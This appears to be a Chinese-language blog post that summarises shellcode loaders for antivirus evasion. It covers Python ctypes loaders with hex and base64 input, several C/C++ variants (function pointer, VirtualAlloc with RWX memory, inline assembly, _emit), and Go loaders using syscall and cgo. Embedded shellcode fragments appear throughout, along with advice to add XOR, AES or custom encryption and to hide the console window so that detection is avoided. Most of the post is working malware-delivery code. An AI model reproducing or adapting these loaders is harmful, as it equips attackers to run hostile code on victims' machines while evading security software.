前言

​ 这段时间测试了不少免杀的手法,但是对一些加载器的实现原理还没有完全理清,所以本文主要是学习总结原理和姿势,不测试实际免杀效果。

​ 目前来看分离免杀仍然是主流的一种免杀方式,我们可以将shellcode比作子弹,那么枪也就是我们所说的加载器。在这种情况下对于杀软来说,单纯的枪或者说子弹,都有可能绕过杀软。

python加载器

核心代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#!/usr/bin/python
import ctypes

shellcode = bytearray("\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b")

#通过调用VirtualAlloc函数,申请一块动态内存区域
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),#要分配的内存区域的地址
ctypes.c_int(len(shellcode)), #分配的大小
ctypes.c_int(0x3000), #分配的类型
ctypes.c_int(0x40)) #该内存的初始保护属性



buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)

#调用RtlMoveMemory函数,函数从我们指定的内存复制内容到另一内存
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),
buf,
ctypes.c_int(len(shellcode)))

#调用CreateThread将在主线程的基础上创建一个新线程
ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_int(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0)))

#调用WaitForSingleObject函数等待创建的线程运行结束。
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))

代码不是很长,可以看到主要调用的就是ctypes这个库。

1
ctypes 是 Python 的外部函数库。它提供了与 C 兼容的数据类型,并允许调用 DLL 或共享库中的函数。可使用该模块以纯 Python 形式对这些库进行封装。

主要流程

  • 调用VirtualAlloc函数,来申请一块可读可写可执行的动态内存区域。
  • 调用RtlMoveMemory函数,此函数从指定内存中复制内容至另一内存里。
  • 调用CreateThread函数,在主线程的基础上创建一个新线程。
  • 调用WaitForSingleObject函数,等待创建的线程运行结束。

当然目前来说这种比较原始的方式杀软已经杀很严了,所以之后更多要有混淆加密的操作

常见的有Hex加密、AES加密、XOR加密、base64等等,或者可以自己写加密和解密,免杀效果会更好

加载器

HEX加密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#scrun by k8gege
import ctypes
import sys

#sc = "DBC3D97424F4BEE85A27135F31C9B13331771783C704039F49C5E6A38680095B57F380BE6621F6CBDBF57C99D77ED00963F2FD3EC4B9DB71D50FE4DD1511981F4AF1A1D09FF0E60C6FA0BF5BC255CB19DF541B165F2F1EE81485213884926AA0AEFD4AD1631EB69808D54C1BD927AC2A25EB9383A8F5D42353802E50EE93F42B3411E98BBF81C92A13579920D813C524DFF07D5054F751D12EDC75BAF57D2F665B812FCE04273BFC5151666AA7D31CD3A7EB1E73C0DA951C97E27F5967A922CBE074B74E6D876D8C8804846C6F14ED692B921D03247722B045524157D63EA8F25EA4B4"
shellcode=bytearray(sys.argv[1].decode("hex"))

ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
ctypes.c_int(len(shellcode)),
ctypes.c_int(0x3000),
ctypes.c_int(0x40))

buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)

ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),
buf,
ctypes.c_int(len(shellcode)))

ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_int(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0)))

ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))

base64加密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#scrun by k8gege
import ctypes
import sys
import base64

#REJDM0Q5NzQyNEY0QkVFODVBMjcxMzVGMzFDOUIxMzMzMTc3MTc4M0M3MDQwMzlGNDlDNUU2QTM4NjgwMDk1QjU3RjM4MEJFNjYyMUY2Q0JEQkY1N0M5OUQ3N0VEMDA5NjNGMkZEM0VDNEI5REI3MUQ1MEZFNEREMTUxMTk4MUY0QUYxQTFEMDlGRjBFNjBDNkZBMEJGNUJDMjU1Q0IxOURGNTQxQjE2NUYyRjFFRTgxNDg1MjEzODg0OTI2QUEwQUVGRDRBRDE2MzFFQjY5ODA4RDU0QzFCRDkyN0FDMkEyNUVCOTM4M0E4RjVENDIzNTM4MDJFNTBFRTkzRjQyQjM0MTFFOThCQkY4MUM5MkExMzU3OTkyMEQ4MTNDNTI0REZGMDdENTA1NEY3NTFEMTJFREM3NUJBRjU3RDJGNjY1QjgxMkZDRTA0MjczQkZDNTE1MTY2NkFBN0QzMUNEM0E3RUIxRTczQzBEQTk1MUM5N0UyN0Y1OTY3QTkyMkNCRTA3NEI3NEU2RDg3NkQ4Qzg4MDQ4NDZDNkYxNEVENjkyQjkyMUQwMzI0NzcyMkIwNDU1MjQxNTdENjNFQThGMjVFQTRCNA==
shellcode=bytearray(base64.b64decode(sys.argv[1]).decode("hex"))
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
ctypes.c_int(len(shellcode)),
ctypes.c_int(0x3000),
ctypes.c_int(0x40))

buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)

ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),
buf,
ctypes.c_int(len(shellcode)))

ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_int(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0)))

ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))

C++加载器

对于C/C++来说,常用的加载方式有函数指针执行、内联汇编指令、伪指令等方式.

函数指针执行

简单的C代码:

1
2
3
4
5
6
char shellcode[] = "";

int main(int argc, char const *argv[]) {
(*(void(*)() shellcode)();
return 0;
}

(void(*)() shellcode 将shellcode转换为函数指针,指向void形式的函数,然后再通过一个*对指针进行取值,之后通过()双括号调用函数进而执行shell从而执行shellocde。

动态内存加载

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include <Windows.h>
#include <stdio.h>
#include <string.h>
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")

unsigned char buf[] =
"shellcode";

main()
{
char *Memory;

Memory=VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);

memcpy(Memory, buf, sizeof(buf));

((void(*)())Memory)();
}

原理和上面python实现类似。

内联汇编指令

汇编指令相关的知识可以看这里:

免杀、汇编指令大全_K的专栏-程序员宅基地 - 程序员宅基地 (cxyzjd.com)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
include <stdio.h>
#include <windows.h>

//#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"") // 隐藏控制台窗口显示
#pragma comment(linker,"/INCREMENTAL:NO") // 减小编译体积
#pragma comment(linker, "/section:.data,RWE") // 启用数据段可读写

unsigned char shellcode[] =
"\xd9\xc5\xd9\x74\x24\xf4\xba\x8b\xfc\x02\xdd\x5e\x2b\xc9\xb1"
"\x56\x83\xee\xfc\x31\x56\x14\x03\x56\x9f\x1e\xf7\x21\x77\x5c"
"\xf8\xd9\x87\x01\x70\x3c\xb6\x01\xe6\x34\xe8\xb1\x6c\x18\x04"
"\x39\x20\x89\x9f\x4f\xed\xbe\x28\xe5\xcb\xf1\xa9\x56\x2f\x93"
"\xca\xec\x3f\xcd\x34\xa2\x40\xc4";

int main(int argc, char **argv)
{
__asm
{
mov eax, offset shellcode;
JMP EAX
}
return 0;
}

其他的写法:

1
2
3
4
5
6
7
8
void RunShellCode()  
{
__asm
{
lea eax, shellcode;
jmp eax;
}
}

MOV EAX, offset shellcode
此指令意为将 shellcode 放入到寄存器 EAX 中

JMP EAX
无条件跳转到EAX

伪指令

​ 伪指令(Pseudo Instruction)是用于对汇编过程进行控制的指令,该类指令并不是可执行指令,没有机器代码,只用于汇编过程中为汇编程序提供汇编信息。 例如,提供如下信息:哪些是指令、哪些是数据及数据的字长、程序的起始地址和结束地址等。

1
2
3
4
5
6
7
8
9
void RunShellCode_5()  
{
__asm
{
mov eax, offset shellcode;
_emit 0xFF;
_emit 0xE0;
}
}

go加载器

动态内存加载

核心代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
package main

import (
"syscall"
"unsafe"
)

const (
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
PAGE_EXECUTE_READWRITE = 0x40 // 区域可以执行代码,应用程序可以读写该区域。
)

var (
kernel32 = syscall.MustLoadDLL("kernel32.dll")
ntdll = syscall.MustLoadDLL("ntdll.dll")
VirtualAlloc = kernel32.MustFindProc("VirtualAlloc")
RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
)

func main() {
xor_shellcode := []byte{0x89, 0x3d, 0xf6, 0x91, 0x85, 0x9d, 0xb9, 0x75, 0x75, 0x75, 0x34, 0x24, 0x34, 0x25, 0x27, 0x24, 0x23, 0x3d, 0x44, 0xa7, 0x10, 0x3d, 0xfe, 0x27, 0x15, 0x3d, 0xfe...}

addr, _, err := VirtualAlloc.Call(0, uintptr(len(xor_shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
if err != nil && err.Error() != "The operation completed successfully." {
syscall.Exit(0)
}
_, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&xor_shellcode[0])), uintptr(len(xor_shellcode)))
if err != nil && err.Error() != "The operation completed successfully." {
syscall.Exit(0)
}
syscall.Syscall(addr, 0, 0, 0, 0)
}

其实原理与上面python或者C/C++类似。

通过声明匿名函数,然后指向读入的ShellCode字节数据的那片内存,并将内存设置为可读可写可执行,之后调用函数就将ShellCode运行起来了。

内联C加载

核心代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package main

import "C"
import "unsafe"

func main() {
buf := ""
buf += "xddxc6xd9x74x24xf4x5fx33xc9xb8xb3x5ex2c"
...省略...
buf += "xc9xb1x97x31x47x1ax03x47x1ax83xc7x04xe2"
// at your call site, you can send the shellcode directly to the C
// function by converting it to a pointer of the correct type.
shellcode := []byte(buf)
C.call((*C.char)(unsafe.Pointer(&shellcode[0])))
}

总结

​ shellcode既然是一段二进制代码,那加载器的功能其实就是想办法将二进制写到内存中,并将这段内存设置为可执行。在这个过程中,为了逃避杀软,所以要更多采用加密混淆等操作。